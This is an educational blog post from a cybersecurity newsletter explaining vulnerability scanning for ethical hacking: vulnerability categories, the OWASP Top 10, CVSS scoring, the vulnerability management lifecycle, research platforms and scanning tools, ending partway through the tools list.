Marc]]></dc:creator><pubDate>Tue, 23 Sep 2025 00:38:43 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!fem5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc71ef3fc-a570-4631-934a-aec62df2d09f_1500x500.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Scanning in ethical hacking is a three-step process that begins with identifying live hosts and open ports, then progresses into enumeration where we form active connections with the hosts to learn more about the attack surface.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!fem5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc71ef3fc-a570-4631-934a-aec62df2d09f_1500x500.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!fem5!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc71ef3fc-a570-4631-934a-aec62df2d09f_1500x500.png 424w, https://substackcdn.com/image/fetch/$s_!fem5!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc71ef3fc-a570-4631-934a-aec62df2d09f_1500x500.png 848w, https://substackcdn.com/image/fetch/$s_!fem5!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc71ef3fc-a570-4631-934a-aec62df2d09f_1500x500.png 1272w, https://substackcdn.com/image/fetch/$s_!fem5!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc71ef3fc-a570-4631-934a-aec62df2d09f_1500x500.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!fem5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc71ef3fc-a570-4631-934a-aec62df2d09f_1500x500.png" width="1456" height="485" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c71ef3fc-a570-4631-934a-aec62df2d09f_1500x500.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:485,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:298975,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/174115641?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc71ef3fc-a570-4631-934a-aec62df2d09f_1500x500.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!fem5!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc71ef3fc-a570-4631-934a-aec62df2d09f_1500x500.png 424w, https://substackcdn.com/image/fetch/$s_!fem5!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc71ef3fc-a570-4631-934a-aec62df2d09f_1500x500.png 848w, https://substackcdn.com/image/fetch/$s_!fem5!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc71ef3fc-a570-4631-934a-aec62df2d09f_1500x500.png 1272w, https://substackcdn.com/image/fetch/$s_!fem5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc71ef3fc-a570-4631-934a-aec62df2d09f_1500x500.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>In vulnerability scanning, we take it a step further by matching the ports, protocols and services found in previous steps with known vulnerabilities, setting the stage for the next phase, &#8220;Gaining Access&#8221;, where we exploit those vulnerabilities to get in to the target system.</p><div><hr></div><h2><strong>Phase 2: Scanning - Three Step Process</strong></h2><p><strong>Phase 2: Scanning is made up of three steps that work together:</strong></p><ol><li><p><a href="https://darkmarc.substack.com/p/the-complete-guide-to-vulnerability">Network Scanning</a> - We discover live hosts, open ports, and running services using tools like Nmap. This gives us a broad view of what's available on the network.</p></li><li><p><a href="https://darkmarc.substack.com/p/the-complete-guide-to-enumeration">Enumeration</a><strong> </strong>- We go beyond basic discovery by establishing active connections with target systems. We perform directed queries to extract detailed information like user accounts, network shares, and service configurations.</p></li><li><p><strong>&#187; <a href="https://darkmarc.substack.com/p/the-complete-guide-to-vulnerability-6e3">Vulnerability Scanning</a> </strong>(current step) - We identify specific security weaknesses in the services we've discovered and enumerated, preparing us for the actual exploitation phase.</p></li></ol><h4><strong>Previous Step: Enumeration</strong></h4><p><strong>If you haven't read about enumeration yet, check it out here:</strong></p><div class="digest-post-embed" data-attrs="{&quot;nodeId&quot;:&quot;73629f22-7340-4e5b-9ca9-cb3811db94de&quot;,&quot;caption&quot;:&quot;Scanning in ethical hacking begins with identifying live hosts and open ports, then continues with enumeration, which collects detailed information about those systems, such as user accounts, shared resources, and service configurations.&quot;,&quot;cta&quot;:&quot;Read full story&quot;,&quot;showBylines&quot;:true,&quot;size&quot;:&quot;sm&quot;,&quot;isEditorNode&quot;:true,&quot;title&quot;:&quot;The Complete Guide to Enumeration (Ethical Hacking)&quot;,&quot;publishedBylines&quot;:[{&quot;id&quot;:313925317,&quot;name&quot;:&quot;Dark Marc&quot;,&quot;bio&quot;:&quot;The digital world is under attack&#8212;breaches, exploits, and evolving threats. Will you be ready? Join me as we explore hacking, cybersecurity, and the edge of digital warfare. Stay sharp. Stay ahead.&quot;,&quot;photo_url&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f76ab9c8-c43d-4098-b472-db750cc2b403_500x500.png&quot;,&quot;is_guest&quot;:false,&quot;bestseller_tier&quot;:null}],&quot;post_date&quot;:&quot;2025-09-20T04:58:06.031Z&quot;,&quot;cover_image&quot;:&quot;https://substackcdn.com/image/fetch/$s_!aO03!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcb197ea5-f9f4-4057-8f3b-9118fe1216de_1500x500.png&quot;,&quot;cover_image_alt&quot;:null,&quot;canonical_url&quot;:&quot;https://darkmarc.substack.com/p/the-complete-guide-to-enumeration&quot;,&quot;section_name&quot;:null,&quot;video_upload_id&quot;:null,&quot;id&quot;:173154131,&quot;type&quot;:&quot;newsletter&quot;,&quot;reaction_count&quot;:1,&quot;comment_count&quot;:0,&quot;publication_id&quot;:3940081,&quot;publication_name&quot;:&quot;Dark Marc | Cybersecurity, Hacking &amp; Tech&quot;,&quot;publication_logo_url&quot;:&quot;https://substackcdn.com/image/fetch/$s_!VPsM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c500f6a-7cf3-418d-b207-af8e956973c5_500x500.png&quot;,&quot;belowTheFold&quot;:true,&quot;youtube_url&quot;:null,&quot;show_links&quot;:null,&quot;feed_url&quot;:null}"></div><div><hr></div><h2>In this guide, you will learn:</h2><ul><li><p>How to understand vulnerabilities, assessments and core concepts.</p></li><li><p>How to use common vulnerability assessment tools.</p></li><li><p>How to create and use vulnerability assessment reports.</p></li></ul><div><hr></div><h2>Vulnerability Core Concepts</h2><p>A vulnerability is a flaw in hardware, software, or configuration that attackers can exploit to gain unauthorized access. Some are widely known and cataloged, while others remain undisclosed until they&#8217;re actively exploited (zero-day vulnerabilities).</p><p>Not all systems are equally maintained. Many organizations still run outdated or unsupported software, leaving them exposed. </p><blockquote><p>The GAO has reported that some federal systems are more than 60 years old, running software over a dozen versions behind. The older the system, the more vulnerabilities are documented against it, and the greater the risk.</p></blockquote><p>In some cases, upgrading isn&#8217;t an option. Replacing legacy systems may be too disruptive or costly, leaving organizations to knowingly operate with weaknesses rather than overhaul critical infrastructure.</p><p>For attackers and defenders alike, staying informed about the latest vulnerability disclosures is essential. New vulnerabilities are always being discovered, and staying aware of these changes will keep you one step ahead.</p><div><hr></div><h2>Vulnerability Classification</h2><p>Vulnerabilities can be organized into five categories:</p><h3>1. Misconfigurations or Weak Configurations </h3><p>These security vulnerabilities occur when a system is misconfigured or poorly configured. One commonly exploited vulnerability in this category is when default credentials are used on a device or software. I wrote an article going over some examples of this in the wild if you&#8217;d like to learn more:</p><div class="digest-post-embed" data-attrs="{&quot;nodeId&quot;:&quot;0ce3caf5-1655-4000-9568-1ddfb14c70cb&quot;,&quot;caption&quot;:&quot;The most common attack on the web today doesn&#8217;t require advanced hacking skills&#8212;it just requires knowing where to look.&quot;,&quot;cta&quot;:&quot;Read full story&quot;,&quot;showBylines&quot;:true,&quot;size&quot;:&quot;sm&quot;,&quot;isEditorNode&quot;:true,&quot;title&quot;:&quot;Attackers Don&#8217;t Need Exploits When Everything Is Already Public&quot;,&quot;publishedBylines&quot;:[{&quot;id&quot;:313925317,&quot;name&quot;:&quot;Dark Marc&quot;,&quot;bio&quot;:&quot;The digital world is under attack&#8212;breaches, exploits, and evolving threats. Will you be ready? Join me as we explore hacking, cybersecurity, and the edge of digital warfare. Stay sharp. Stay ahead.&quot;,&quot;photo_url&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f76ab9c8-c43d-4098-b472-db750cc2b403_500x500.png&quot;,&quot;is_guest&quot;:false,&quot;bestseller_tier&quot;:null}],&quot;post_date&quot;:&quot;2025-03-20T12:03:27.831Z&quot;,&quot;cover_image&quot;:&quot;https://substackcdn.com/image/fetch/$s_!LBZq!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff9c2ddf9-e28f-486a-854f-7834cbd02524_1200x630.png&quot;,&quot;cover_image_alt&quot;:null,&quot;canonical_url&quot;:&quot;https://darkmarc.substack.com/p/attackers-dont-need-exploits-when&quot;,&quot;section_name&quot;:null,&quot;video_upload_id&quot;:null,&quot;id&quot;:157871936,&quot;type&quot;:&quot;newsletter&quot;,&quot;reaction_count&quot;:19,&quot;comment_count&quot;:6,&quot;publication_id&quot;:3940081,&quot;publication_name&quot;:&quot;Dark Marc | Cybersecurity, Hacking &amp; Tech&quot;,&quot;publication_logo_url&quot;:&quot;https://substackcdn.com/image/fetch/$s_!VPsM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c500f6a-7cf3-418d-b207-af8e956973c5_500x500.png&quot;,&quot;belowTheFold&quot;:true,&quot;youtube_url&quot;:null,&quot;show_links&quot;:null,&quot;feed_url&quot;:null}"></div><h3>2. Application Flaws</h3><p>Application flaws are bugs or weaknesses in software that attackers can exploit. </p><p>One of the most notable examples is the Heartbleed Bug in the OpenSSL cryptographic library. This flaw allowed anyone on the Internet to read sensitive information from the memory of affected servers, including passwords, private keys, emails, and other confidential data, without leaving a trace.</p><p>These flaws can cause an application to behave in unintended ways, allowing attackers to steal data, impersonate users or services, or perform actions the software was not designed to allow.</p><h3>3. Poor Patch Management</h3><p>Poor patch management occurs when vulnerabilities are not fixed in a timely manner. As time goes on, more weaknesses become public and are exploited more often. If security patches are not released by software developers, and if they are not applied by administrators, the system accumulates vulnerabilities that remain exposed over time.</p><h3>4. Design Flaws</h3><p>Design flaws occur when a system is built without essential security features, allowing attackers to gain access or escalate privileges. This can include failing to encrypt sensitive data, not properly validating input on a website, or shipping machines with insecure default settings. </p><p>One example of a design flaw is when Microsoft once shipped Windows machines with a web server feature enabled by default. If left on, this exposed all those machines to potential attacks, creating a large-scale risk purely due to how the system was designed.</p><h3>5. Third-Party Risks</h3><p>Third-party risks come from relying on external code, especially open-source libraries that many developers use to build software. Attackers know these libraries are trusted, so they try to sneak in malicious code. </p><p>A recent example is the &#8220;Shai-Hulud&#8221; campaign, where attackers compromised more than 180 npm packages. One of the affected packages, @ctrl/tinycolor, had over 2 million weekly downloads. The malicious code was designed to steal cloud credentials, GitHub tokens, and npm tokens, and it spread automatically when developers installed the infected packages.</p><p>Supply-chain attacks like this are dangerous because one compromised library can quickly spread to thousands of applications that depend on it. Developers trust these libraries by default, but attackers take advantage of that trust to reach far more systems than they could by attacking one target at a time.</p><div><hr></div><h3>OWASP Top 10 Vulnerabilities</h3><p>In addition to the categories above, the OWASP organization maintains a list of vulnerabilities that are commonly found. It is updated regularly, with the latest update being published in 2021. The current list includes:</p><ol><li><p><strong>Broken Access Control</strong> - Users can access data or functionality they shouldn't have permission to view or use. <em>Example: A regular user manipulating a URL parameter to view another user's account information.</em></p></li><li><p><strong>Cryptographic Failures</strong> - Sensitive data is exposed due to weak or missing encryption, poor key management, or flawed cryptographic implementations. <em>Example: Passwords stored in plain text or using weak hashing algorithms like MD5.</em></p></li><li><p><strong>Injection</strong> - Malicious code or commands are inserted into application inputs, allowing attackers to execute unintended operations. <em>Example: SQL injection where an attacker inputs malicious SQL code into a login form to bypass authentication.</em></p></li><li><p><strong>Insecure Design</strong> - Security flaws built into the application's architecture and design from the beginning, rather than implementation bugs. <em>Example: An application that doesn't implement rate limiting, allowing unlimited login attempts.</em></p></li><li><p><strong>Security Misconfiguration</strong> - Applications, servers, or databases are configured with insecure default settings or contain unnecessary features enabled. <em>Example: Default administrator passwords left unchanged or debug mode enabled in production.</em></p></li><li><p><strong>Vulnerable and Outdated Components</strong> - Applications use libraries, frameworks, or other software components with known security vulnerabilities. <em>Example: Using an old version of a JavaScript library that contains publicly known security flaws.</em></p></li><li><p><strong>Identification and Authentication Failures</strong> - Weaknesses in user identity verification, session management, or authentication processes allow attackers to impersonate users. <em>Example: Weak password requirements or session tokens that don't expire properly.</em></p></li><li><p><strong>Software and Data Integrity Failures</strong> - Applications don't verify the integrity of software updates, critical data, or CI/CD pipelines, allowing malicious modifications. <em>Example: An application that downloads updates without verifying digital signatures.</em></p></li><li><p><strong>Security Logging and Monitoring Failures</strong> - Insufficient logging, monitoring, or incident response capabilities prevent timely detection of security breaches. <em>Example: Failed login attempts aren't logged, making it impossible to detect brute force attacks.</em></p></li><li><p><strong>Server-Side Request Forgery (SSRF)</strong> - Applications fetch remote resources without validating user-supplied URLs, allowing attackers to make requests to internal systems. <em>Example: A web application that fetches images from user-provided URLs without restricting access to internal network resources.</em></p></li></ol><div><hr></div><h2>Vulnerability Scoring Systems and Databases</h2><p>In the early days of hacking, companies often tried to keep vulnerabilities secret. While this may have seemed protective, it created a problem: hackers with malicious intent could discover these weaknesses and exploit them before anyone else knew they existed.</p><p>Over time, it became clear that security improves when vulnerabilities are disclosed responsibly. By working with system creators, researchers can ensure that users are informed of risks and that companies address issues promptly.</p><p>To organize and track vulnerabilities, the U.S. government created the National Vulnerability Database (NVD). This database uses the <a href="https://www.cve.org/">Common Vulnerabilities and Exposures (CVE)</a> dictionary to catalog known security weaknesses. </p><p>Each CVE entry is classified using the Common Weakness Enumeration (CWE) system, which identifies the type of flaw or weakness, such as a buffer overflow or misconfiguration. </p><p>In addition, each vulnerability is assigned a Common Vulnerability Scoring System (CVSS) score, which quantifies its severity and potential impact. This combination helps organizations understand both <em>what the problem is</em> and <em>how serious it is</em>, enabling them to prioritize remediation effectively.</p><div><hr></div><h3>CVE Scoring</h3><p>The (CVSS scores) quantify the severity of vulnerabilities, helping security teams prioritize issues to address first. </p><p>Scores range from 0 to 10 and are categorized as follows:</p><ul><li><p><strong>None (Score 0.0)</strong> &#8211; No significant impact on security.</p></li><li><p><strong>Low (Score 0.1 &#8211; 3.9)</strong> &#8211; Minor issues that pose limited risk.</p></li><li><p><strong>Medium (Score 4.0 &#8211; 6.9)</strong> &#8211; Vulnerabilities that can be exploited but have moderate impact.</p></li><li><p><strong>High (Score 7.0 &#8211; 8.9)</strong> &#8211; Serious vulnerabilities that can lead to significant compromise.</p></li><li><p><strong>Critical (Score 9.0 &#8211; 10.0)</strong> &#8211; Extreme risk; often allows full system compromise or widespread impact.</p></li></ul><div><hr></div><h2>Vulnerability Management Lifecycle</h2><p>Network defenders use the vulnerability management lifecycle as a systematic process for discovering, prioritizing, addressing, and monitoring vulnerabilities in systems. </p><p>As an ethical hacker, you'll work within this framework to identify and report vulnerabilities, enabling organizations to remediate them before malicious attackers can exploit these weaknesses.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!u_9y!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F527d2687-3c5a-4f4c-8f39-8dbdd3989688_1500x1000.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!u_9y!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F527d2687-3c5a-4f4c-8f39-8dbdd3989688_1500x1000.png 424w, https://substackcdn.com/image/fetch/$s_!u_9y!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F527d2687-3c5a-4f4c-8f39-8dbdd3989688_1500x1000.png 848w, https://substackcdn.com/image/fetch/$s_!u_9y!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F527d2687-3c5a-4f4c-8f39-8dbdd3989688_1500x1000.png 1272w, https://substackcdn.com/image/fetch/$s_!u_9y!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F527d2687-3c5a-4f4c-8f39-8dbdd3989688_1500x1000.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!u_9y!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F527d2687-3c5a-4f4c-8f39-8dbdd3989688_1500x1000.png" width="1456" height="971" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/527d2687-3c5a-4f4c-8f39-8dbdd3989688_1500x1000.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:971,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:537921,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/174115641?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F527d2687-3c5a-4f4c-8f39-8dbdd3989688_1500x1000.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!u_9y!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F527d2687-3c5a-4f4c-8f39-8dbdd3989688_1500x1000.png 424w, https://substackcdn.com/image/fetch/$s_!u_9y!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F527d2687-3c5a-4f4c-8f39-8dbdd3989688_1500x1000.png 848w, https://substackcdn.com/image/fetch/$s_!u_9y!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F527d2687-3c5a-4f4c-8f39-8dbdd3989688_1500x1000.png 1272w, https://substackcdn.com/image/fetch/$s_!u_9y!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F527d2687-3c5a-4f4c-8f39-8dbdd3989688_1500x1000.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The vulnerability management lifecycle involves 8 steps that you repeat on an ongoing basis to account for the ever-changing environment and new vulnerabilities. </p><div><hr></div><h3>The 8 Steps of Vulnerability Management</h3><p>The lifecycle is divided into three main phases: Pre-Assessment, Vulnerability Assessment, and Post-Assessment, with the Post-Assessment phase containing more steps than the initial phases.</p><h4>Pre-Assessment Phase</h4><p><strong>Step 1: Identify Assets</strong> - Organizations discover and catalog all hardware, software, network devices, and digital assets within their environment to create a comprehensive inventory. This complete asset inventory establishes the foundation needed to create an accurate baseline in the next step.</p><p><strong>Step 2: Create a Baseline</strong> - Security teams document the current state of all identified assets, including configurations, software versions, and security postures to establish a reference point for future assessments. This baseline documentation provides the scope and context necessary for conducting thorough vulnerability scans.</p><h4>Vulnerability Assessment Phase</h4><p><strong>Step 3: Vulnerability Scan</strong> - Automated scanning tools systematically examine all baseline assets to identify known security weaknesses, misconfigurations, and outdated components across the infrastructure. The raw scanning results then feed into the vulnerability analysis phase where findings are validated and prioritized.</p><p><strong>Step 4: Vulnerability Analysis</strong> - Security teams analyze and validate scanning results to confirm genuine vulnerabilities, eliminate false positives, and categorize findings by type and severity. This analyzed vulnerability data then flows into risk assessment where each finding is evaluated for its potential business impact.</p><h4>Post-Assessment Phase</h4><p><strong>Step 5: Risk Assessment</strong> - Organizations evaluate confirmed vulnerabilities based on CVSS scores, exploitability, asset criticality, and potential business impact to create a prioritized remediation plan. This risk-based prioritization guides remediation efforts by identifying which vulnerabilities require immediate attention versus those that can be addressed in future cycles.</p><p><strong>Step 6: Remediation</strong> - System administrators and security teams implement fixes by applying patches, making configuration changes, or deploying compensating controls to eliminate or mitigate prioritized vulnerabilities. After remediation implementation, the process moves to verification to ensure fixes were successful and didn't introduce new security issues.</p><p><strong>Step 7: Verification</strong> - Organizations conduct follow-up testing and scanning to confirm that vulnerabilities have been properly remediated and that fixes are functioning as intended without creating additional problems. This verification process leads to continuous monitoring where the security posture is maintained and new threats are detected.</p><p><strong>Step 8: Monitoring</strong> - Security teams implement ongoing surveillance to detect new vulnerabilities, monitor for emerging threats, and maintain awareness of changes in the environment that could affect security. This continuous monitoring naturally cycles back to asset identification as new systems are deployed, configurations change, and the process repeats to ensure comprehensive security coverage.</p><p>The cyclical nature ensures that vulnerability management remains a continuous process rather than a one-time activity, adapting to organizational changes, new threats, and evolving security requirements as the cycle repeats indefinitely.</p><div><hr></div><h2>Vulnerability Research</h2><p>Vulnerability research is an ongoing task for both network defenders and attackers. Knowing about the latest trends in threats and attack surfaces means that you'll be prepared to protect your system from bad actors.</p><p>A good vulnerability research platform is like the seismic sensors placed around the world to detect earthquakes before they begin, so you can alert admins and others on the security team before a major event takes place.</p><p>Keep an eye out for two key pieces of information: the weakness being disclosed, as well as the recovery steps to take should your organization be hit. Some of the best vulnerability research platforms include:</p><ol><li><p><strong>CISA Known Exploited Vulnerabilities Catalog:</strong> Delivers daily updates on actively exploited vulnerabilities with prioritized remediation guidance for critical threat research.</p></li><li><p><strong>VulnDB:</strong> Provides near real-time vulnerability updates within hours, offering detailed threat context and actionable remediation advice for researchers.</p></li><li><p><strong>Rapid7&#8217;s AttackerKB:</strong> Supplies community-driven, near real-time exploit context with rapid updates, focusing on real-world vulnerability and exploit research.</p></li><li><p><strong>Flexera One (Secunia Research):</strong> Offers real-time vulnerability intelligence with granular software build-level details and exploit updates within 24 hours for patch-focused research.</p></li></ol><div><hr></div><h2>Vulnerability Scanning</h2><p>Vulnerability scanning is the process of systematically examining systems, netwroks and applications to identify security weaknesses that attackers could potentially exploit. This involves probing various components to uncover flaws in software, misconfigurations, or design issues that create security gaps.</p><p>The scanning process generates data about potential security issues, which then requires analysis to determine which findings represent genuine threats versus false positives. Security teams evaluate discovered vulnerabilities by their severity and potential for exploitation to prioritize remediation efforts effectively.</p><h3>Type of Vulnerability Scanning:</h3><ol><li><p><strong>External Scanning -</strong> Examines an organizations network from an outside perspective, testing what attackers would see when probing from the internet. This method reveals security gaps visible to external threats trying to breach perimeter defenses.</p></li><li><p><strong>Internal Scanning -</strong> Evaluates systems from within the organization&#8217;s netowrk boundaries to identify vulnerabilities that could be exploited by insiders or attackers who have already penetrated initial defenses.</p></li><li><p><strong>Host-based Scanning -</strong> Focuses on individual machines by examining their specific configurations, installed software, user accounts, and system settings to assess how secure each host is against potential compromise.</p></li><li><p><strong>Network-based Scanning -</strong> Analyzes network infrastructure components like routers, switches, and protocols to find weaknesses in how systems communicate and share data across the network.</p></li><li><p><strong>Application Scanning -</strong> Targets web applications and software to detect coding flaws, configuration errors, or outdated components that could allow attackers to manipulate or compromise these programs.</p></li><li><p><strong>Credentialed Scanning -</strong> Performs scans using legitimate login credentials to access systems more thoroughly, revealing vulnerabilities that are only visible when authenticated to target systems.</p></li><li><p><strong>Non-Credentialed Scanning -</strong> Conducts scans without logging into target systems, mimicking how external attackers would probe systems they cannot access, providing an outsider&#8217;s perspective on security.</p></li><li><p><strong>Manual Scanning -</strong> Involves security professionals personally examining systems to identify vulnerabilities that automated tools might miss or to validate findings from automated scans.</p></li><li><p><strong>Automated Scanning -</strong> Uses specialized software tools to rapidly scan large numbers of systems simultaneously, efficiently identifying common vulnerabilities across your organization&#8217;s infrastructure.</p></li></ol><div><hr></div><h2>Vulnerability Assessment Tools</h2><p>Vulnerability assessment tools help for identify, prioritize, and remediate security weaknesses in networks, applications, and systems, serving as a proactive layer in the vulnerability research ecosystem by providing detailed scans and actionable insights before exploitation occurs.</p><ol><li><p><strong>Nessus by Tenable:</strong> Delivers comprehensive vulnerability scanning with over 200,000 plugins, including 2025 updates for external attack surface scanning, cloud infrastructure support, and security fixes like CVE-2025-6021 remediation in libxml2 2.13.8, making it ideal for enterprise-wide assessments.</p></li><li><p><strong>GFI LanGuard:</strong> Automates patch management, network auditing, and vulnerability scanning across Windows, Mac, and Linux, with 2025 enhancements in account-based license management, WAN scanning, and real-time monitoring for ransomware threats.</p></li><li><p><strong>OpenVAS:</strong> Offers a free, open-source vulnerability scanner with daily 